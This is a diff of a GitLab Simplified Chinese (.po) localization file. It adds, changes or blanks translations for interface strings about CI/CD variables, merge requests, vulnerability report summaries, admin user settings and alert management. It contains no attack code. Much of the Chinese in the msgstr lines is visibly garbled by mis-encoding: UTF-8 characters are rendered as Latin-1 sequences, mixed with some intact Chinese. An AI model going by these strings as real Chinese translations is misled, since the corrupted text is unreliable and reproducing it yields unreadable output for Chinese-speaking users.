+msgstr "%{code_open}éšè—çš„%{code_close}å˜é‡åœ¨ä½œä¸šæ—¥å¿—中éšè—(虽然它们必须符åˆæŸäº›æ­£åˆ™è¡¨è¾¾å¼è¦æ±‚)。"
msgid "%{code_open}Protected%{code_close} variables are only exposed to protected branches or tags."
-msgstr ""
+msgstr "%{code_open}å—ä¿æŠ¤çš„%{code_close}å˜é‡ä»…å¯ç”¨äºŽå—ä¿æŠ¤çš„分支或标签中。"
msgid "%{commit_author_link} authored %{commit_timeago}"
-msgstr "ç”± %{commit_author_link} æ交于 %{commit_timeago}"
+msgstr "由%{commit_author_link}编写于%{commit_timeago}"
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr "总æƒé‡%{totalWeight}中的%{completedWeight}已完æˆ"
@@ -287,6 +293,9 @@ msgstr "%{containerScanningLinkStart}容器扫æ%{containerScanningLinkEnd}å’Œ/
msgid "%{cores} cores"
msgstr "%{cores}个核心"
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr "%{count} è¡Œ/æ¯æ交"
@@ -339,6 +348,9 @@ msgstr "%{deployLinkStart}使用模æ¿éƒ¨ç½²åˆ°ECS%{deployLinkEnd},或使用do
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr "%{description}- Sentry事件: %{errorUrl}- 首次出现: %{firstSeen}- 最åŽå‡ºçŽ°: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr "%{duration}毫秒"
@@ -366,14 +378,14 @@ msgstr "%{firstLabel} +%{labelCount} 更多"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr "%{firstMilestoneName} + 其余%{numberOfOtherMilestones}项"
-msgid "%{global_id} is not a valid id for %{expected_type}."
-msgstr "%{global_id}ä¸æ˜¯ä¸€ä¸ª%{expected_type}的有效ID。"
+msgid "%{global_id} is not a valid ID for %{expected_type}."
+msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
msgstr "%{group_docs_link_start}群组%{group_docs_link_end} å…许您管ç†ã€å作多个项目。群组的æˆå‘˜å¯ä»¥è®¿é—®ç¾¤ç»„下的所有项目。"
msgid "%{group_name} group members"
-msgstr ""
+msgstr "%{group_name}群组æˆå‘˜"
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name}使用由群组托管å¸æˆ·ã€‚您需è¦åˆ›å»ºä¸€ä¸ªæ–°çš„GitLabå¸æˆ·ï¼Œè¯¥å¸æˆ·å°†é€šè¿‡%{group_name}组æ¥ç®¡ç†ã€‚"
@@ -394,16 +406,16 @@ msgid "%{issuesSize} issues with a limit of %{maxIssueCount}"
msgstr "%{issuesSize}个议题,上é™ä¸º%{maxIssueCount}"
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
-msgstr ""
+msgstr "%{issuesSize}个,上é™ä¸º%{maxIssueCount}"
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr "%{labelStart}类型: %{labelEnd}%{class}"
msgid "%{labelStart}Crash Address:%{labelEnd} %{crash_address}"
-msgstr ""
+msgstr "%{labelStart}崩溃地å€:%{labelEnd} %{crash_address}"
msgid "%{labelStart}Crash State:%{labelEnd} %{stacktrace_snippet}"
-msgstr ""
+msgstr "%{labelStart}崩溃状æ€:%{labelEnd} %{stacktrace_snippet}"
msgid "%{labelStart}Evidence:%{labelEnd} %{evidence}"
msgstr "%{labelStart}è¯æ®:%{labelEnd} %{evidence}"
@@ -412,7 +424,7 @@ msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr "%{labelStart}文件: %{labelEnd}%{file}"
msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
+msgstr "%{labelStart}报头:%{labelEnd} %{headers}"
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr "%{labelStart}é•œåƒ: %{labelEnd}%{image}"
@@ -433,16 +445,16 @@ msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr "%{labelStart}严é‡ç¨‹åº¦ :%{labelEnd}%{severity}"
msgid "%{labelStart}Status:%{labelEnd} %{status}"
-msgstr ""
+msgstr "%{labelStart}状æ€:%{labelEnd} %{status}"
msgid "%{labelStart}URL:%{labelEnd} %{url}"
-msgstr ""
+msgstr "%{labelStart}URL:%{labelEnd} %{url}"
msgid "%{label_for_message} unavailable"
msgstr "%{label_for_message}ä¸å¯ç”¨"
msgid "%{label_name} %{span_open}will be permanently deleted from %{subject_name}. This cannot be undone.%{span_close}"
-msgstr ""
+msgstr "%{label_name}%{span_open}将从%{subject_name}永久删除。此æ“作无法撤消。%{span_close}"
msgid "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} is a free, automated, and open certificate authority (CA), that give digital certificates in order to enable HTTPS (SSL/TLS) for websites."
msgstr "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end}是一个å…费且自动化的和开放的è¯ä¹¦é¢å‘机构(CA),æ供数字è¯ä¹¦ä»¥ä¾¿ä¸ºç½‘ç«™å¯ç”¨HTTPS(SSL/TLS)。"
@@ -453,9 +465,6 @@ msgstr "%{level_name} ä¸å…许在 %{group_level_name} 组。"
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "由于派生的æºé¡¹ç›®å¯è§æ€§è¾ƒä½Žï¼Œå› æ­¤ä¸å…许使用%{level_name}。"
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr "%{lineOneStart}拖放以上传您的设计%{lineOneEnd} 或 %{linkStart}å•å‡»ä»¥ä¸Šä¼ %{linkEnd}。"
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr "%{link_start}了解更多%{link_end}哪些信æ¯ä¼šå…±äº«ç»™GitLab Inc.。"
@@ -463,10 +472,10 @@ msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "%{link_start}查看更多%{link_end} 关于角色æƒé™"
msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
-msgstr ""
+msgstr "%{link_start}从标题中删除%{draft_or_wip_snippet}å‰ç¼€%{link_end}以å…许此åˆå¹¶è¯·æ±‚在准备就绪时被åˆå¹¶ã€‚"
msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
-msgstr ""
+msgstr "%{link_start}以%{draft_snippet}或%{wip_snippet}作为标题的开头%{link_end},以防止正在处ç†ä¸­çš„åˆå¹¶è¯·æ±‚在准备好之å‰è¢«åˆå¹¶ã€‚"
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow},还有 %{awardsListLength} 个。"
@@ -474,6 +483,9 @@ msgstr "%{listToShow},还有 %{awardsListLength} 个。"
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} 已开始"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} 被GitLab用户 %{lock_user_id} é”定"
@@ -483,6 +495,18 @@ msgstr "支æŒ%{markdownDocsLinkStart}Markdown%{markdownDocsLinkEnd}å’Œ%{quickAc
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr "%{mergeLength}/%{usersLength} å¯ä»¥åˆå¹¶"
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText},此议题将自动关闭。"
@@ -561,42 +585,45 @@ msgid "%{remaining_approvals} left"
msgstr "还需%{remaining_approvals}"
msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
+msgstr "%{reportType}%{status}检测到%{criticalStart}%{critical}个严é‡%{criticalEnd}安全æ¼æ´žå’Œ%{highStart}%{high}个高å±%{highEnd}安全æ¼æ´žï¼Œæ€»è®¡%{total}个。"
msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr ""
+msgstr "%{reportType}%{status}检测到%{criticalStart}%{critical}个严é‡%{criticalEnd}安全æ¼æ´žå’Œ%{highStart}%{high}个高å±%{highEnd}安全æ¼æ´žã€‚"
msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
+msgstr "%{reportType}%{status}检测到%{criticalStart}%{critical}个严é‡%{criticalEnd}安全æ¼æ´žï¼Œæ€»è®¡%{total}个。"
msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
+msgstr[0] "%{reportType}%{status}检测到%{criticalStart}%{critical}个严é‡%{criticalEnd}安全æ¼æ´ž."
msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
+msgstr "%{reportType}%{status}检测到%{highStart}%{high}个高å±%{highEnd}安全æ¼æ´žï¼Œæ€»è®¡%{total}个。"
msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
+msgstr[0] "%{reportType}%{status}检测到%{highStart}%{high}个高å±%{highEnd}安全æ¼æ´ž."
msgid "%{reportType} %{status} detected %{other} vulnerability."
msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
msgstr[0] "%{reportType}%{status}检测到%{other}个安全æ¼æ´ž."
msgid "%{reportType} %{status} detected no vulnerabilities."
-msgstr ""
+msgstr "%{reportType}%{status}未å‘现安全æ¼æ´ž."
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr "%{retryButtonStart}é‡è¯•%{retryButtonEnd}或%{newFileButtonStart}添加一个新文件%{newFileButtonEnd}"
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
-msgstr[0] ""
+msgstr[0] "此项目未å¯ç”¨%{securityScanner} 。%{linkStart}更多信æ¯%{linkEnd}"
msgid "%{securityScanner} result is not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
msgid_plural "%{securityScanner} results are not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
-msgstr[0] ""
+msgstr[0] "%{securityScanner}无结果,因为自å¯ç”¨ä»¥æ¥å°šæœªè¿è¡Œæµæ°´çº¿ã€‚%{linkStart}è¿è¡Œæµæ°´çº¿%{linkEnd}"
msgid "%{service_title} %{message}."
msgstr "%{service_title}%{message}."
@@ -613,6 +640,9 @@ msgstr "%{size} MiB"
msgid "%{size} bytes"
msgstr "%{size}字节"
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} æˆåŠŸåœ°æ交给 Akismet。"
@@ -628,6 +658,9 @@ msgstr "从%{start}到%{end}"
msgid "%{state} epics"
msgstr "%{state}å²è¯—"
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr "%{strongStart}注æ„:%{strongEnd} 添加自定义阶段åŽï¼Œæ‚¨å¯ä»¥é€šè¿‡å°†å…¶æ‹–动到所需ä½ç½®æ¥å¯¹é˜¶æ®µè¿›è¡Œé‡æ–°æŽ’åºã€‚"
@@ -696,6 +729,9 @@ msgstr "%{totalMemory} (剩余%{freeSpacePercentage}%{percentSymbol})"
msgid "%{totalWeight} total weight"
msgstr "%{totalWeight}总æƒé‡"
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr "%{total}å¼€å¯è®®é¢˜æƒé‡"
@@ -729,23 +765,41 @@ msgstr "%{webhooks_link_start}%{webhook_type}%{link_end}å…许您针对æŸä¸ªç¾¤
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr "%{webhooks_link_start}%{webhook_type}%{link_end}å…许您针对æŸä¸ªç¾¤ç»„或项目中的事件å‘é€é€šçŸ¥åˆ°web应用程åºã€‚ 如需使用webhook, 我们推è优先使用已有%{integrations_link_start}集æˆ%{link_end}。"
-msgid "&lt;no name set&gt;"
+msgid "&lt; 1 hour"
msgstr ""
+msgid "&lt;no name set&gt;"
+msgstr "&lt;未设置å称&gt;"
+
msgid "&lt;no scopes selected&gt;"
-msgstr ""
+msgstr "&lt;未选择范围&gt;"
msgid "&lt;project name&gt;"
+msgstr "&lt;项目å称&gt;"
+
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
msgstr "“%{level}â€ä¸æ˜¯æœ‰æ•ˆçš„å¯è§æ€§çº§åˆ«"
msgid "'%{name}' Value Stream created"
-msgstr ""
+msgstr "'%{name}'价值æµå·²åˆ›å»º"
msgid "'%{name}' stage already exists"
msgstr "“%{name}â€é˜¶æ®µå·²ç»å­˜åœ¨"
@@ -764,7 +818,7 @@ msgid "(%{mrCount} merged)"
msgstr "(%{mrCount} å·²åˆå¹¶)"
msgid "(%{value}) has already been taken"
-msgstr ""
+msgstr "(%{value})已被使用"
msgid "(No changes)"
msgstr "(æ— å˜æ›´å†…容)"
@@ -773,12 +827,15 @@ msgid "(check progress)"
msgstr "(检查进度)"
msgid "(deleted)"
-msgstr ""
+msgstr "(已删除)"
msgid "(external source)"
msgstr "(外部资æº)"
msgid "(line: %{startLine})"
+msgstr "(行: %{startLine})"
+
+msgid "(max size 15 MB)"
msgstr ""
msgid "(removed)"
@@ -788,7 +845,7 @@ msgid "(revoked)"
msgstr "(已撤销)"
msgid "* * * * *"
-msgstr ""
+msgstr "* * * * *"
msgid "+ %{amount} more"
msgstr "+ 其余 %{amount} 项"
@@ -836,7 +893,7 @@ msgid "- show less"
msgstr "- 显示较少"
msgid "0 bytes"
-msgstr ""
+msgstr "0 字节"
msgid "0 for unlimited"
msgstr "0 表示无é™åˆ¶"
@@ -929,7 +986,7 @@ msgid "3 hours"
msgstr "3å°æ—¶"
msgid "30 days"
-msgstr ""
+msgstr "30天"
msgid "30 minutes"
msgstr "30分钟"
@@ -953,7 +1010,7 @@ msgid "404|Please contact your GitLab administrator if you think this is a mista
msgstr "如果您觉得这是一个错误的æ示信æ¯ï¼Œè¯·è”系您的 GitLab 管ç†å‘˜ã€‚"
msgid "7 days"
-msgstr ""
+msgstr "7天"
msgid "8 hours"
msgstr "8å°æ—¶"
@@ -961,15 +1018,6 @@ msgstr "8å°æ—¶"
msgid ":%{startLine} to %{endLine}"
msgstr ":%{startLine}到%{endLine}"
-msgid "< 1 hour"
-msgstr "< 1å°æ—¶"
-
-msgid "<project name>"
-msgstr "<project name>"
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr "<strong>删除</strong>æºåˆ†æ”¯"
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr "Runner是一个执行任务的进程。您å¯ä»¥æ ¹æ®éœ€è¦é…置任æ„æ•°é‡çš„Runner。"
@@ -977,7 +1025,7 @@ msgid "A .NET Core console application template, customizable for any .NET Core
msgstr ".NET Core控制å°åº”用程åºæ¨¡æ¿ï¼Œå¯é’ˆå¯¹ä»»ä½•.NET Core项目进行自定义"
msgid "A CI/CD pipeline must run and be successful before merge."
-msgstr ""
+msgstr "åˆå¹¶å‰CI/CDæµæ°´çº¿å¿…é¡»è¿è¡Œä¸”æˆåŠŸã€‚"
msgid "A GitBook site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr "一个GitBook站点,它使用NetLifyæ¥ä»£æ›¿Gitlabçš„CI/CD,但ä»ç„¶å…·æœ‰æ‰€æœ‰å…¶ä»–主è¦çš„Gitlab功能。"
@@ -1019,7 +1067,7 @@ msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr "文件å为%{file_name}的文件已ç»å­˜åœ¨äºŽ%{branch}分支中"
msgid "A fork is a copy of a project."
-msgstr ""
+msgstr "派生是项目的副本。"
msgid "A group is a collection of several projects"
msgstr "群组为多个项目的集åˆã€‚"
@@ -1033,8 +1081,8 @@ msgstr "GitLab滥用审查团队æˆå‘˜å°†ä¼šå°½å¿«æŸ¥çœ‹æ‚¨çš„报告。"
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr "当安全报告包å«ä¸¥é‡æ€§é«˜ï¼Œä¸¥é‡æˆ–未知的新æ¼æ´žæ—¶ï¼Œåˆå¹¶è¯·æ±‚批准为必需。"
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
-msgstr "当许å¯è¯åˆè§„性报告包å«åˆ—入黑åå•çš„许å¯è¯æ—¶ï¼Œåˆå¹¶è¯·æ±‚批准为必需。"
+msgid "A merge request approval is required when the license compliance report contains a denied license."
+msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
msgstr "已创建新的Auto DevOpsæµæ°´çº¿ï¼Œè¯·è½¬åˆ° %{pipelines_link_start}æµæ°´çº¿é¡µé¢%{pipelines_link_end}查看详细信æ¯ã€‚"
@@ -1051,11 +1099,14 @@ msgstr "将在派生(fork)项目中中创建一个新的分支, 并开å¯ä¸€ä¸ªæ
msgid "A new impersonation token has been created."
msgstr "已创建新的身份模拟令牌。"
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr "一个纯HTML站点,它使用NetLifyæ¥ä»£æ›¿Gitlabçš„CI/CD,但ä»ç„¶å…·æœ‰æ‰€æœ‰å…¶ä»–主è¦çš„Gitlab功能。"
msgid "A platform value can be web, mob or app."
-msgstr ""
+msgstr "å¹³å°å€¼å¯ä»¥æ˜¯web, mob或app。"
msgid "A project boilerplate for Salesforce App development with Salesforce Developer tools."
msgstr "使用Salesforce Developer工具开å‘Salesforce App的项目样æ¿ã€‚"
@@ -1091,7 +1142,7 @@ msgid "ACTION REQUIRED: Something went wrong while obtaining the Let's Encrypt c
msgstr "需è¦å¤„ç†ï¼š 获å–GitLab Pages域%{domain}çš„Let's Encrypt加密è¯ä¹¦æ—¶å‡ºäº†é”™ã€‚"
msgid "API Help"
-msgstr ""
+msgstr "API帮助"
msgid "API Token"
msgstr "API令牌"
@@ -1153,6 +1204,9 @@ msgstr "访问过期时间"
msgid "Access forbidden. Check your access level."
msgstr "访问被ç¦æ­¢ã€‚检查您的访问æƒé™ã€‚"
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr "ä¸å…许访问%{classification_label}"
@@ -1229,7 +1283,7 @@ msgid "AccessTokens|reset it"
msgstr "é‡ç½®ä»¤ç‰Œ"
msgid "AccessibilityReport|Learn more"
-msgstr ""
+msgstr "了解更多"
msgid "AccessibilityReport|Message: %{message}"
msgstr "消æ¯ï¼š %{message}"
@@ -1253,7 +1307,7 @@ msgid "Account: %{account}"
msgstr "å¸æˆ·ï¼š%{account}"
msgid "Action to take when receiving an alert. %{docsLink}"
-msgstr ""
+msgstr "接收警报时è¦æ‰§è¡Œçš„æ“作。%{docsLink}"
msgid "Actions"
msgstr "æ“作"
@@ -1264,6 +1318,9 @@ msgstr "激活"
msgid "Activate Service Desk"
msgstr "å¯ç”¨æœåŠ¡å°"
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "å¯ç”¨"
@@ -1286,7 +1343,7 @@ msgid "Add"
msgstr "添加"
msgid "Add \"%{value}\""
-msgstr ""
+msgstr "添加\"%{value}\""
msgid "Add %d issue"
msgid_plural "Add %d issues"
@@ -1295,12 +1352,6 @@ msgstr[0] "添加%d个议题"
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr "å°†%{linkStart}资æº%{linkEnd}添加到å‘布中。 GitLab会自动包å«åªè¯»èµ„æºï¼Œä¾‹å¦‚æºä»£ç å’Œå‘布è¯æ®ã€‚"
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr "添加更新日志"
@@ -1347,7 +1398,7 @@ msgid "Add a To Do"
msgstr "添加一个待办事项"
msgid "Add a To-Do"
-msgstr ""
+msgstr "添加一个待办事项"
msgid "Add a bullet list"
msgstr "添加一个符å·åˆ—表"
@@ -1377,7 +1428,7 @@ msgid "Add a numbered list"
msgstr "添加编å·åˆ—表"
msgid "Add a related issue"
-msgstr ""
+msgstr "添加一个相关议题"
msgid "Add a table"
msgstr "添加表格"
@@ -1415,9 +1466,12 @@ msgstr "添加å­å²è¯—到å²è¯—"
msgid "Add comment now"
msgstr "ç«‹å³æ·»åŠ è¯„论"
-msgid "Add deploy freeze"
+msgid "Add comment to design"
msgstr ""
+msgid "Add deploy freeze"
+msgstr "添加部署冻结"
+
msgid "Add domain"
msgstr "添加域å"
@@ -1427,6 +1481,9 @@ msgstr "添加电å­é‚®ä»¶åœ°å€"
msgid "Add environment"
msgstr "添加环境"
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr "添加页眉和页脚到电å­é‚®ä»¶ã€‚请注æ„,颜色设置仅适用于应用程åºç•Œé¢"
@@ -1439,6 +1496,9 @@ msgstr "添加议题"
msgid "Add italic text"
msgstr "添加斜体文本"
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr "添加标记"
@@ -1455,13 +1515,13 @@ msgid "Add new directory"
msgstr "添加目录"
msgid "Add or remove previously merged commits"
-msgstr ""
+msgstr "添加或删除先å‰åˆå¹¶çš„æ交"
msgid "Add or subtract spent time"
msgstr "增加或å‡å°‘耗时"
msgid "Add previously merged commits"
-msgstr ""
+msgstr "添加先å‰åˆå¹¶çš„æ交"
msgid "Add reaction"
msgstr "添加回应"
@@ -1509,13 +1569,13 @@ msgid "Add webhook"
msgstr "添加webhook"
msgid "Add/remove"
-msgstr ""
+msgstr "添加/删除"
msgid "AddContextCommits|Add previously merged commits"
-msgstr ""
+msgstr "添加先å‰åˆå¹¶çš„æ交"
msgid "AddContextCommits|Add/remove"
-msgstr ""
+msgstr "添加/删除"
msgid "AddMember|No users specified."
msgstr "未指定用户。"
@@ -1551,7 +1611,7 @@ msgid "Adding new applications is disabled in your GitLab instance. Please conta
msgstr "当å‰GitLab实例ç¦æ­¢æ·»åŠ æ–°åº”用程åºã€‚请è”系您的GitLab管ç†å‘˜ä»¥èŽ·å¾—相关æƒé™ã€‚"
msgid "Additional Metadata"
-msgstr ""
+msgstr "附加元数æ®"
msgid "Additional minutes"
msgstr "é¢å¤–的分钟数"
@@ -1593,7 +1653,7 @@ msgid "Admin Overview"
msgstr "管ç†æ¦‚览"
msgid "Admin Section"
-msgstr ""
+msgstr "管ç†éƒ¨åˆ†"
msgid "Admin mode already enabled"
msgstr "管ç†å‘˜æ¨¡å¼å·²å¯ç”¨"
@@ -1689,7 +1749,7 @@ msgid "AdminSettings|Auto DevOps domain"
msgstr "Auto DevOps 域"
msgid "AdminSettings|Elasticsearch, PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
+msgstr "Elasticsearch,PlantUML,Slack应用程åºï¼Œç¬¬ä¸‰æ–¹ä¼˜æƒ ï¼ŒSnowplow,Amazon EKS已移至设置&gt;常规。"
msgid "AdminSettings|Enable shared runners for new projects"
msgstr "为新项目å¯ç”¨å…±äº«Runner"
@@ -1718,6 +1778,9 @@ msgstr "选择æµæ°´çº¿é…置文件"
msgid "AdminSettings|Select a template"
msgstr "选择模æ¿"
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr "Service模æ¿å…许您设置集æˆçš„默认值"
@@ -1733,6 +1796,9 @@ msgstr "为æ¯ä¸ªé¡¹ç›®çš„自动审阅应用 (Auto Review Apps) 和自动部署
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr "强制æµæ°´çº¿é…ç½®å¯ä»Ž%{link_start}实例模æ¿åº“%{link_end}中%{code_start}gitlab-ci%{code_end}目录选择或使用GitLabæ供的é…置。"
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr "创建一个新的环境å˜é‡æ—¶ï¼Œå®ƒä¼šè¢«é»˜è®¤ä¿æŠ¤ã€‚"
@@ -1767,7 +1833,7 @@ msgid "AdminUsers|2FA Enabled"
msgstr "å¯ç”¨åŒé‡è®¤è¯"
msgid "AdminUsers|Access"
-msgstr ""
+msgstr "访问类型"
msgid "AdminUsers|Active"
msgstr "活跃"
@@ -1776,13 +1842,13 @@ msgid "AdminUsers|Admin"
msgstr "管ç†å‘˜"
msgid "AdminUsers|Administrators have access to all groups, projects and users and can manage all features in this installation"
-msgstr ""
+msgstr "管ç†å‘˜å¯ä»¥è®¿é—®æ‰€æœ‰ç¾¤ç»„ã€é¡¹ç›®å’Œç”¨æˆ·ï¼Œå¹¶å¯ä»¥ç®¡ç†æ­¤å®‰è£…中的所有功能"
msgid "AdminUsers|Admins"
msgstr "管ç†å‘˜"
msgid "AdminUsers|Automatically marked as default internal user"
-msgstr ""
+msgstr "自动标记为默认内部用户"
msgid "AdminUsers|Block"
msgstr "ç¦ç”¨"
@@ -1833,7 +1899,7 @@ msgid "AdminUsers|External"
msgstr "外部"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
-msgstr ""
+msgstr "除éžæ˜Žç¡®æŽˆäºˆè®¿é—®æƒé™ï¼Œå¦åˆ™å¤–部用户无法查看内部或ç§æœ‰é¡¹ç›®ã€‚å¦å¤–,外部用户无法创建项目,群组或个人代ç ç‰‡æ®µã€‚"
msgid "AdminUsers|Is using seat"
msgstr "正在使用许å¯å¸­ä½"
@@ -1860,10 +1926,10 @@ msgid "AdminUsers|Reactivating a user will:"
msgstr "é‡æ–°æ¿€æ´»ç”¨æˆ·å°†ä¼šï¼š"
msgid "AdminUsers|Regular"
-msgstr ""
+msgstr "普通"
msgid "AdminUsers|Regular users have access to their groups and projects"
-msgstr ""
+msgstr "普通用户å¯ä»¥è®¿é—®ä»–们的群组和项目"
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr "æ¢å¤ç”¨æˆ·è®¿é—®è´¦æˆ·ï¼ŒåŒ…括网页ã€Gitå’ŒAPI。"
@@ -1920,7 +1986,7 @@ msgid "AdminUsers|You are about to permanently delete the user %{username}. This
msgstr "您å³å°†æ°¸ä¹…删除用户 %{username}。此æ“作会删除该用户的所有议题ã€åˆå¹¶è¯·æ±‚以åŠç›¸å…³çš„群组。为é¿å…æ•°æ®ä¸¢å¤±ï¼Œå»ºè®®æ‚¨ä½¿ç”¨ %{strong_start}ç¦ç”¨ç”¨æˆ·%{strong_end} 功能。一旦您 %{strong_start}删除用户%{strong_end},将无法撤消或æ¢å¤ã€‚"
msgid "AdminUsers|You cannot remove your own admin rights."
-msgstr ""
+msgstr "您ä¸èƒ½åˆ é™¤æ‚¨è‡ªå·±çš„管ç†å‘˜æƒé™ã€‚"
msgid "Administration"
msgstr "管ç†"
@@ -1959,6 +2025,9 @@ msgstr[0] "警报"
msgid "AlertManagement|Acknowledged"
msgstr "已确认"
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr "警报"
@@ -1989,8 +2058,8 @@ msgstr "指派人"
msgid "AlertManagement|Authorize external service"
msgstr "授æƒå¤–部æœåŠ¡"
-msgid "AlertManagement|Create issue"
-msgstr "创建议题"
+msgid "AlertManagement|Create incident"
+msgstr ""
msgid "AlertManagement|Critical"
